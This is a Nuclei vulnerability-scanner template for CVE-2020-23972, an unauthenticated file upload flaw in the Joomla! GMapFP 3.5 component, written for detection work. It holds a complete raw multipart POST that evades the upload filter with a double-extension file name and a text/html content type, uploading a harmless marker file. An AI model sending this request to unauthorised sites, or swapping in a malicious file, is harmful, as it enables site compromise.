nuclei-templates/http/cves/2020/CVE-2020-23972.yaml

id: CVE-2020-23972

info:
  name: Joomla! Component GMapFP 3.5 - Arbitrary File Upload
  author: dwisiswant0
  severity: high
  description: |
    Joomla! Component GMapFP 3.5 is vulnerable to arbitrary file upload vulnerabilities. An attacker can access the upload function of the application
    without authentication and can upload files because of unrestricted file upload which can be bypassed by changing Content-Type & name file too double ext.
  reference:
    - https://www.exploit-db.com/exploits/49129
    - https://raw.githubusercontent.com/me4yoursecurity/Reports/master/README.md
    - http://packetstormsecurity.com/files/159072/Joomla-GMapFP-J3.5-J3.5F-Arbitrary-File-Upload.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-23972
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-23972
    cwe-id: CWE-434
    epss-score: 0.68335
    cpe: cpe:2.3:a:gmapfp:gmapfp:j3.5:*:*:*:-:joomla\!:*:*
  metadata:
    max-request: 2
    framework: joomla\!
    vendor: gmapfp
    product: gmapfp
  tags: cve,cve2020,joomla,edb,packetstorm,fileupload,intrusive

http:
  - raw:
      - |
        POST /index.php?option={{component}}&controller=editlieux&tmpl=component&task=upload_image HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Referer: {{BaseURL}}
        Connection: close

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="option"

        com_gmapfp
        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="image1"; filename="nuclei.html.gif"
        Content-Type: text/html

        projectdiscovery

        ------WebKitFormBoundarySHHbUsfCoxlX1bpS
        Content-Disposition: form-data; name="no_html"

        no_html
        ------WebKitFormBoundarySHHbUsfCoxlX1bpS--

    payloads:
      component:
        - "com_gmapfp"
        - "comgmapfp"

    extractors:
      - type: regex
        regex:
          - "window\\.opener\\.(changeDisplayImage|addphoto)\\(\"(.*?)\"\\);"
        part: body